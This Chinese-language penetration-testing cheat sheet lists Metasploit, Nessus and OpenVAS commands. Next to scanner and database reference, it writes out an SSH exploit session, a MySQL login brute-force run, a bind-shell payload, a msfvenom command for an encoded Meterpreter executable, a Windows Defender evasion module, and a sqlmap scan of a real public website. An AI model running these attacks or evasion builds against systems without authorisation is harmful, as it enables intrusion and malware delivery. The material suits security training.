漏洞利用技术
-
Metasploit框架的强大之处就是提供了大量的渗透测试模块和插件。模块按照不同用途可以分为7种类型,分别是Exploits(渗透攻击模块)、Auxiliary(辅助模块)、Post(后渗透攻击模块)、Payloads(攻击载荷模块)、Encoders(编码器模块)、Nops(空指令模块)和Evasion(规避模块)。
-
Nessus号称是世界上最流行的漏洞扫描程序,工具提供完整的电脑漏洞扫描服务,并随时更新其漏洞数据库。实施的漏洞扫描包括:网络设备、虚拟主机、操作系统、数据库、Web应用程序、危害检测等。 - load nessus # Metasploit载入Nessus桥插件
- nessus_help # 查看Nessus桥插件支持的所有命令
- nessus_connect username:password@address:8834 # 登录到Nessus服务器
- nessus_policy_list # 查看服务器上所有已经定义的扫描策略
- nessus_scan_new # 命令创建扫描任务
- nessus_scan_launch <scan ID> # 启动扫描任务
- nessus_scan_list # 查看扫描运行的状态
- nessus_report_hosts <scan ID> # 查看其扫描报告
- nessus_report_host_details <scan ID> <host ID> # 查看其中某台主机的漏洞信息
- nessus_report_vulns <scan ID> # 查看具体的漏洞信息
- vulns --rhosts 192.168.1.104 # 查看具体的漏洞信息
复制代码 -
OpenVAS(开放式漏洞评估系统)是一个客户端/服务器架构,它常用来评估目标主机上的漏洞。OpenVAS是Nessus项目的一个分支,它提供的产品是完全免费的apt-get update && apt-get install openvas* -y。 - changeme -a <target> # 弱密码探查
- openvas-setup # 初始化openvas库
- openvasmd --user=admin --new-password=123.com # 初始化密码
- openvas-check-setup # 检查安装完整性
- netstat -anptul # 检查服务状态
- # 设置外部访问
- vi /usr/lib/systemd/system/greenbone-security-assistant.service
- [Service]
- Type=simple
- PIDFile=/var/run/gsad.pid
- ExecStart=/usr/sbin/gsad --foreground --listen=0.0.0.0 --port=9392 --mlisten=0.0.0.0 --allow-header-host=192.168.19.132 --mport=9390
- vi /etc/default/openvas-manager
- MANAGER_ADDRESS=0.0.0.0
- vi /etc/default/greenbone-security-assistant
- GSA_ADDRESS=0.0.0.0
- MANAGER_ADDRESS=0.0.0.0
- openvas-stop # 停止OpenVAS服务
- openvas-start # 启动OpenVAS服务
- https://127.0.0.1:9392/ # 登录:amdin:123.com
- unix-privesc-check [standard|detailed] # 检查linux错误配置:standard标准模式、detailed详细模式
- # 手动查找漏洞信息
- http://cve.mitre.org/data/refs/refmap/source-MS.html # CVE的管理网站地址为
- https://technet.microsoft.com/en-us/security/bulletins # 微软漏洞官网地址
- openvas-setup # 下载并更新库
- openvasmd --user=admin --new-password=password # 修改密码
- openvas-check-setup # 检查是否安装成功
- netstat -ntlp # 查看监听的端口
- openvas-start # 启动服务
- https://127.0.0.1:9392 # 登录OpenVAS服务
- openvas-setup # 重启服务
- # Metasploit中远程调用OpenVAS服务
- load openvas # 加载Openvas插件
- openvas_help # 查看模块支持的所有命令
- openvas_connect username password host port <ssl-confirm> # 命令登录到OpenVAS服务器
- openvas_target_create <name> <hosts> <comment> # 创建扫描目标
- openvas_config_list # 查看下扫描配置列表
- openvas_task_create <name> <comment> <config_id> <target_id>
- # 创建扫描任务
- openvas_task_start <id> # 启动扫描任务
- openvas_task_list # 查看扫描任务的进度
- openvas_report_list # 查看下扫描报告列表
- openvas_format_list # 查看支持的扫描报告格式
- openvas_report_download <ID> # 命令下载扫描报告
复制代码 -
为了区分不同扫描任务,Metasploit提供了工作区。每个工作区都保存相关任务的各种信息。不同工作区之间的信息相互独立,避免数据混淆。所以,在进行渗透攻击前,用户需要准备不同的工作区,将扫描结果分开保存。 - db_nmap -sP 192.168.59.0/24 # 扫描网络中存在的主机
- db_import <filename> # 导入扫描报告
- db_export -f <format> [filename] # 工作区所有的数据进行备份
- analyze 192.168.59.131 # 对目标主机192.168.59.131进行预分析
- # 工作区管理
- workspace # 列出工作区
- -h # 显示帮助信息
- -a work1 # 添加指定名称的工作区
- -r work1 work2 # 重命名工作区
- -v # 显示工作区详细信
- -d work1 # 删除指定名称的工作区
- -D # 删除所有工作区
- # 管理主机信息
- hosts [ options ] [addr1 addr2 ...] # 列出主机信息
- -a,--add # 添加主机
- -d,--delete # 删除主机
- -c<col1,col2> # 列出指定的列
- -C<col1,col2> # 与-c选项含义相同,但是使用后,如果不重启数据库,以后使用只列出-C指定的列
- -h,--help # 显示帮助信息
- -u,--up # 只显示开放的主机
- -o<file> # 将结果保存到CSV格式的文件中
- -O<column> # 按照指定列排序
- -R,--rhosts # 将搜索的结果作为RHOSTS选项的值
- -S,--search # 指定字符串进行搜索
- -i,--info # 修改主机info信息
- -n,--name # 修改name列的信息
- -m,--comment # 修改comment列的信息
- -t,--tag # 为主机信息添加标签
- # 管理模块操作
- use <modulepath> # 加载模块
- show options # 查看模块
- set [option] [value] # 修改选项
- setg [option] [value] # 全局选项
- unset [option] # 重置选项
- save # 保存配置
- check # 查有效性
- exploit # 实施攻击
- edit # 编辑模块
- back # 退出模块
- use auxiliary/scanner/portscan/tcp # 使用模块
-
- # 管理服务信息
- services [options] [addr1 addr2 ...] # 列出服务信息
- -a,--add # 添加服务
- -d,--delete # 删除服务
- -c<col1,col2> # 仅显示指定列的服务
- -h,--help # 显示帮助信息
- -s<name1,name2> # 指定服务名称进行搜索
- -p<port1,port2> # 指定端口号进行搜索
- -r<protocol> # 只显示基于TCP/UDP协议的服务
- -u,--up # 只显示开启的服务
- -o<file> # 将结果保存到CSV格式的文件中
- -O<column> # 按照指定列排序
- -R,--rhosts # 将搜索的结果作为RHOSTS选项的值
- -S,--search # 指定字符串进行搜索
- # 管理认证信息
- creds [filter options] [address range] # 查看认证信息
- add user:admin password:pass realm:workgroup # 添加认证信息,可添加的认证信息字段
- user # 用户名
- password # 密码
- ntlm # NTLM哈希值
- ssh-key # SSH-Key文件
- hash # 不可重放哈希值
- realm # 域
- realm-type # 域的类型
- -d # 删除全部的认证信息
- -P,--password <regex> # 根据密码进行过滤
- -p,--port <portspec> # 根据端口过滤
- -s <svc names> # 根据服务过滤
- -u,--user <regex> # 根据用户过滤
- -t,--type <type> # 根据类型进行过滤
- -O,--origins < origins > # 根据起源过滤
- -o <file.csv> # 认证信息保存到文件中
- -R # 为模块的RHOSTS进行赋值
- # 管理战利品
- loot <options> # 查看战利品
- -a,--add # 添加地址列
- -d,--delete # 删除所有列
- -f,--file # 从文件中导入
- -i,--info # 添加的info列的内容
- -t<type1,type2> # 指定列的类型搜索
- -S,--search # 指定搜索使用的关键词
- -h,--help # 显示帮助信息
- # 管理备注信息
- notes [options] [addr range] # 查看备注信息
- -a,--add # 添加新的备注信息
- -d,--delete # 删除备注信息
- -n,--note<data> # 为设置备注内容。其中,data表示数据
- -t<type1,type2> # 搜索指定类型列的备注信息
- -h,--help # 显示帮助信息
- -R,--rhosts # 将搜索的结果作为RHOSTS选项的值
- -S,--search # 指定字符串进行搜索
- -o,--output # 将结果保存到CSV格式的文件中
- --sort<field1,field2> # 字段排序
- # 管理漏洞信息
- vulns [options] [addr range] # 查看漏洞信息
- -o<file> # 将输出信息保存到CSV格式文件中
- -p,--port<portspec> # 显示指定端口的漏洞信息
- -s<svc names> # 显示指定服务名称的漏洞信息
- -R,--rhosts # 将搜索到的结果主机设置为RHOSTS的选项值
- -S,--search # 指定字符串进行过滤
- -i,--info # 显示info列的信息
- -h,--help # 显示帮助信息
- db_rebuild_cache # 重建数据缓存
- msfconsole # 启动终端
- show all # 查看模块的详细信息
- # 搜索特定模块
- search [word]
- app # 指定client和server攻击的模块
- author # 通过模块作者名称进行查找
- bid # 根据Bugtraq ID来查询模块
- cve # 根据CVE ID来查询模块
- edb # 根据Exploit-DB ID来查询模块
- name # 根据名称来查询模块
- osvdb # 根据OSVDB ID来查询模块
- platform # 根据模块级别来查询,缩小查询范围
- ref # 根据ref来查询模块
- type # 根据类型来查询模块。如类型为exploit、auxiliary或post
- # 过滤结果
- grep http search oracle
- -A<opt> # 显示一个匹配输出后的行
- -B<opt> # 显示一个匹配输出前的行
- -c # 仅显示一组匹配行
- -h # 显示帮助信息
- -i # 忽略实例
- -k<opt> # 保留输出开始的行
- -m<opt> # 匹配一个结果后停止
- -s<opt> # 跳过尝试匹配前的输出结果
- -v # 反向匹配
- # 渗透攻击类模块(exploit)
- use exploit/multi/ssh/sshexec # multi/ssh/sshexec是一个渗透攻击类模块
- info # 查看该模块的详细信息
- set RHOSTS 192.168.1.106 # 设置目标主机
- set PASSWORD msfadmin # 设置密码
- set USERNAME msfadmin # 设置用户名
- unset # 重新设置
- setg # 全局变量设置
- save # 命令保存
- exploit # 实施攻击
-
- # 辅助模块(auxiliar)
- use auxiliary/scanner/mysql/mysql_login # 选择mysql_login辅助模块,mysql登录爆破
- set RHOSTS 192.168.1.102
- set THREADS 10
- set user_file /root/usernames.txt
- set pass_file /root/passwords.txt
- run
-
- # 攻击载荷(Payload)
- run post/linux/gather/enum_system # 使用enum_system后渗透模块获取目标主机的系统信息
- use exploit/multi/ssh/sshexec # 通过linux/x86/shell/bind_tcp攻击载荷来获得与目标主机的Shell交互
- set payload linux/x86/shell/bind_tcp # 加载攻击载荷
- set RHOSTS 192.168.1.105
- set PASSWORD 123456
- exploit
-
- # IDS/IPS会检查数据包是否合规则,在攻击载荷生成时用到nops文件夹下的NOPs修改(nops)
- # 编码模块(Encoders)
- ./msfvenom -p windows/meterpreter/bind_tcp RHOST=192.168.1.104 --platform windows -a x86 -e x86/shikata_ga_nai -f exe > msf.exe
- # 使用x86/shikata_ga_nai编码创建攻击载荷
- # 插件(Plugins)
- load # 查看加载插件的方法
- load sqlmap # 加载SQLmap插件
- help sqlmap # 查看该插件支持的所有命令
- sqlmapapi -s -p 8775 # 需要启动sqlmapapi
- sqlmap_connect 127.0.0.1 # 连接到sqlmapapi
- sqlmap_new_task # 创建一个新的任务
- sqlmap_start_task 1 'www.baidu.com' # 启动新建的任务
- sqlmap_list_tasks # 查看任务列表
- sqlmap_get_status 1 # 查看扫描状态
- sqlmap_get_data 1 # 获取扫描的漏洞信息
- sqlmap_get_log 1 # 查看扫描任务运行的日志信息
- # 规避模块(Evasion),使用windows_defender_exe规避模块,生成一个Windows EXE文件来规避Windows Defender程序
- use windows/windows_defender_exe
- show options
- run # 生成一个规避文件
-
- # 模块扩展,导入第三方模块,渗透测试代码库网站(http://www.exploit-db.com/)
- cd /root/.msf4/modules
- mkdir -p exploits/window/logs/
- mv /root/.msf4/modules/module.rb ./module.rb
- # 动态加载模块,临时使用和临时关闭
- loadpath [modulespath] # 用来从一个路径中搜索并加载第三方模块
- load [var=val var=val ...] # 加载模块
- unload [module] # 卸载模块
- jobs [option] # 查看任务
- -K # 列出终端运行的所有任务
- -h # 显示帮助信息
- -i<opt> # 列出一个任务的详细信息
- -k<opt> # 指定终端的任务名称
- -l # 列出所有运行任务
- -v # 显示更详细信息
- kill <ID> # 结束任务
复制代码 -
扩展功能,为了加强Metasploit的漏洞利用功能,Metasploit还提供了一些扩展模块和其他功能,如Meterpreter、Msfvenom和免杀功能。 -
漏洞利用 -
辅助功能
|